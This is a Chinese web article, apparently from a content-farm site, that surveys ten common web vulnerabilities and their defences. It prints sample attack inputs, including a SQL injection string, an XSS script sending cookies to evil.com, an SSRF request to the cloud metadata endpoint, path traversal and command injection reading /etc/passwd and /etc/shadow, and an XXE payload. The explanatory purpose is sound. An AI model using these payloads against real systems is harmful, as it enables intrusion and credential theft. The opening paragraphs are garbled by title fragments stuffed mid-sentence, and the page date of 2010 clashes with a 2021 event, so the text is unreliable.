休闲

十大常见Web漏洞包括哪些

时间:2010-12-5 17:23:32  作者:娱乐   来源:休闲  查看:  评论:0
内容摘要:2017年,Equifax泄露了1.43亿美国人的个人信息。事后复盘,问题出在一个没及时打补丁的Apache Struts组件上——攻击者利用的正是注入漏洞。这类事年年发生,但很多人对Web漏洞的认知

2017年,大常Equifax泄露了1.43亿美国人的漏洞个人信息。事后复盘,包括问题出在一个没及时打补丁的大常Apache Struts组件上——攻击者利用的正是注入漏洞。这类事年年发生,漏洞但很多人对Web漏洞的包括认知还停留在“SQL注入就是加个单引号”的阶段。下面这十类漏洞,大常是漏洞渗透测试报告里出现频率最高的。

SQL注入

用户输入被直接拼进SQL语句,包括数据库就把攻击者的大常指令当合法查询执行了。比如登录框输入 ' OR 1=1 --,漏洞后端如果写的包括是 SELECT * FROM users WHERE name='$input',整个users表就裸奔了。大常参数化查询能根治,漏洞但遗留系统里这问题依然遍地都是包括。

XSS(跨站脚本)

分存储型、反射型、DOM型三种。存储型最危险——攻击者在评论区留一段 <script>fetch('https://evil.com?c='+document.cookie)</script>,每个访问该页面的用户cookie都会被偷走。很多CMS的富文本编辑器过滤不严,就栽在这上面。CSP策略和输出编码是主要防线。

CSRF(跨站请求伪造)

你登录了银行网站,cookie还在。这时你点开一个恶意页面,里面藏着一个自动提交的表单,向银行发起转账请求。浏览器会自动带上你的cookie,银行以为是本人操作。防御靠CSRF Token和SameSite Cookie属性。这个漏洞的阴险之处在于:攻击者根本不需要知道你的密码。

SSRF(服务端请求伪造)

攻击者让服务器去访问内网资源。比如一个图片加载功能,参数是URL,攻击者填入 http://169.254.169.254/latest/meta-data/,就能读取云服务器的元数据,拿到临时凭证。2019年Capital One的泄露事件就是SSRF导致的。内网服务通常没有认证,一旦被SSRF打通,横向移动就很容易。

文件上传漏洞

上传功能只检查了Content-Type,攻击者把 shell.php 改成 shell.jpg 上传,再想办法让服务器以PHP解析它。有些系统把上传目录设成可执行,配合路径遍历直接getshell。白名单校验扩展名、重命名文件、上传目录禁止执行,三件事缺一不可。

文件包含漏洞

PHP里的 include($_GET['page']) 是经典写法。攻击者传入 ?page=../../../../etc/passwd 读取系统文件,或者包含一个远程URL执行任意代码。本地文件包含能读配置、读密钥,远程文件包含直接就是RCE。allow_url_include关掉能挡一部分,但路径遍历还是防不住。

命令注入

代码里调用了系统命令,参数来自用户输入。比如 ping -c 1 $ip,攻击者输入 127.0.0.1; cat /etc/shadow,分号后面的命令照样执行。这类漏洞在IoT设备固件里特别多,因为开发者图省事直接用system()。避免拼接命令、用白名单校验输入,是基本要求。

XXE(XML外部实体注入)

XML解析器默认允许引用外部实体。攻击者提交这样的XML:

<?xml version="1.0"?> <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <data>&xxe;</data>

服务器解析后就把/etc/passwd的内容返回了。如果实体指向一个内网URL,还能发起SSRF。禁用外部实体解析就行,但很多老代码没做这个配置。

越权访问

分水平越权和垂直越权。水平越权:用户A能查看用户B的订单,只要改一下URL里的ID。垂直越权:普通用户能访问管理员接口。这类漏洞不需要什么技术含量,就是后端没做权限校验。很多API只在前端隐藏了按钮,后端接口完全裸奔。

反序列化漏洞

Java的ObjectInputStream、PHP的unserialize()、Python的pickle,都是重灾区。攻击者构造恶意序列化数据,服务端反序列化时触发gadget chain,最终执行任意命令。2015年WebLogic的反序列化漏洞、2021年Log4j的JNDI注入,本质都是这个思路。这类漏洞利用链复杂,但一旦打通就是直接RCE,危害极大。

这十类漏洞没有哪個是“过时”的。每年OWASP Top 10更新,核心问题翻来覆去就这些。框架和语言换了一茬又一茬,但开发者犯的错还是那几种:信任用户输入、忽略权限校验、图省事不写安全配置。修一个漏洞不难,难的是在快速迭代的压力下,每一行代码都保持警惕。

最近更新
热门排行
copyright © 2026 powered by 力不从心网   sitemap